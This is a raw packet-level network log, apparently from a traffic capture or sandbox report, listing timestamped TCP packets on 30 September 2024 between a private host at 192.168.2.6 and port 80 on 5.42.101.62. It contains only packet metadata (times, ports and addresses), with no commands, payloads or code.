Sep 30, 2024 13:59:30.166006088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166016102 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166028023 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166058064 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.166058064 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.166058064 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.166100979 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.166115999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166131020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166146994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166163921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166172028 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.166172028 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.166174889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166187048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166191101 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.166198969 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166217089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166228056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166237116 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.166237116 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.166254044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166265011 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166271925 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.166277885 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166304111 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.166304111 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.166349888 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.166402102 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166414022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166426897 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166446924 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.166450024 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166452885 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.166464090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166476011 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166485071 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.166485071 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.166507006 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.166522980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166533947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166544914 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166555882 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.166598082 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.166810989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166826010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166837931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166847944 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166860104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166861057 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.166872978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166888952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.166906118 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.166906118 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.166927099 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.167128086 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.167145014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.167156935 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.167171955 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.167181015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.167188883 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.167188883 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.167202950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.167212963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.167212963 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.167218924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.167228937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.167251110 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.167258978 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.167262077 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.167265892 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.167273045 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.167283058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.167289019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.167289019 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.167294979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.167301893 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.167335033 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.167336941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.167360067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.167366028 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.167395115 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.167406082 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.169099092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.169121027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.169131994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.169142008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.169147968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.169150114 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.169157982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.169169903 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.169182062 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.169183016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.169193983 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.169204950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.169210911 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.169215918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.169226885 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.169236898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.169246912 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.169255972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.169264078 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.169264078 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.169280052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.169296980 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.169296980 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.169301033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.169312000 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.169332027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.169339895 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.169341087 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.169343948 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.169353962 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.169365883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.169374943 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.169374943 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.169425011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.169430971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.169467926 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.255167007 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.255215883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.255266905 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.255266905 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.255301952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.255340099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.255352974 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.255357027 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.255366087 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.255381107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.255402088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.255405903 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.255405903 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.255405903 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.255415916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.255420923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.255429983 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.255443096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.255451918 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.255455971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.255465984 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.255469084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.255481958 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.255496025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.255506039 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.255510092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.255532980 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.255554914 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.255666018 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.255708933 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.255719900 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.255722046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.255755901 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.255773067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.255784988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.255795002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.255805969 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.255815983 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.255827904 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.255870104 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.255870104 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.256253958 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.256304979 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.256340981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.256351948 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.256375074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.256386042 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.256386995 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.256396055 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.256397963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.256414890 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.256426096 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.256433964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.256458998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.256469965 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.256469965 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.256473064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.256506920 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.256551981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.256557941 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.256565094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.256576061 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.256587029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.256597996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.256608009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.256613970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.256614923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.256614923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.256623983 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.256634951 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.256649971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.256676912 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.256685972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.256722927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.256722927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.256755114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.256764889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.256797075 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.256865978 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257051945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257062912 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257075071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257085085 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257090092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257100105 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257108927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257108927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257110119 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257127047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257142067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257142067 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257152081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257162094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257165909 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257165909 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257172108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257180929 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257190943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257221937 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257221937 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257232904 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257244110 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257253885 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257261992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257298946 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257298946 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257365942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257404089 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257412910 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257421970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257456064 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257483959 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257637978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257648945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257659912 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257669926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257680893 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257692099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257699966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257699966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257702112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257730007 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257746935 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257757902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257766008 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257780075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257787943 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257791996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257803917 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257806063 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257814884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257823944 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257831097 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257831097 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257834911 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257846117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257855892 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257865906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257873058 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257873058 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257879019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257890940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257900000 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.257909060 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257917881 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.257970095 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.258167028 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.258177996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.258187056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.258198023 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.258218050 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.258224964 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.258228064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.258238077 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.258258104 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.258289099 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.259922028 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.259982109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.259983063 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.259991884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260034084 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.260034084 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.260057926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260067940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260077953 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260097027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260107994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260113001 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.260113001 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.260118008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260128975 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260138988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260158062 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.260158062 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.260171890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260184050 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.260188103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260198116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260207891 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260219097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260226011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.260226011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.260230064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260246038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260256052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260271072 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.260271072 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.260303020 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.260348082 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260359049 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260370016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260380030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260390043 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260406971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.260406971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.260433912 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.260494947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260504961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260514975 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260524988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260529995 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.260535955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260544062 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.260546923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.260586023 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.260586977 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.346175909 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.346209049 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.346220016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.346256971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.346266985 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.346272945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.346277952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.346290112 CEST	80	49721	5.42.101.62	192.168.2.6
